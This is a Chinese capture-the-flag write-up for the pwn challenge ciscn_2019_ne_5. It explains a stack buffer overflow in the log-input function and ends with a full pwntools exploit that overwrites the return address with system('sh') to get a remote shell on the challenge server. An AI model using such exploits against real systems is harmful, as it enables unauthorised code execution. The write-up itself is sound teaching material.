ciscn_2019_ne_5
题目附件
步骤：
例行检查，32位，开启了nx保护
试运行一下程序，看一下程序的大概执行情况
32位ida载入，shift+f12查看程序里的字符串，发现了flag字符串
双击跟进，ctrl+x找到调用的函数，得到提示我们输入的log就是flag
看一下main函数，s1在接收admin的密码administrator，这边读入了100个长度的字符，看到15行，给s1的大小只有48，这边存在溢出漏洞
根据之前那个flag的提示，之后我们应该选1，添加一个log，之后应该选4去调用getflag，然后结束程序
搞清楚程序逻辑后尝试构造payload，主要是利用选择1之后的那一次输入，a1就是外面的src，程序给的大小是48，这边读入的时候读入了128长度的字符串，可以造成溢出，将程序的返回地址覆盖成system（‘/bin/sh’），然后选4去调用读取我们构造好的栈，获取shell
之前查看字符串的时候，看到了程序里有用system函数，这边直接用sym去获取它的地址
system_addr=elf.sym['system']
尝试用ROPgadget来搜索一下程序里的’/bin/sh’字符串的地址的，没有找到，但是发现有‘sh’字符串，这个效果和‘/bin/sh’是一样的效果
shell_addr=0x80482ea
这样我们就可以构造我们的payload=‘a’*（0x48+4）+p32(system_addr)+‘aaaa’+p32(shell_addr)
之后选4去调用我们的这个构造好的栈即可获取shell
完整exp
from pwn import*
r=remote("node3.buuoj.cn",27108)
elf=ELF('ciscn_2019_ne_5')
system_addr=elf.sym['system']
shell_addr=0x80482ea
r.recvuntil('Please input admin password:')
r.sendline('administrator')
r.recvuntil('0.Exit
:')
r.sendline('1')
payload='a'*(0x48+4)+p32(system_addr)+'1234'+p32(shell_addr)
r.recvuntil('Please input new log info:')
r.sendline(payload)
r.recvuntil('0.Exit
:')
r.sendline('4')
r.interactive()
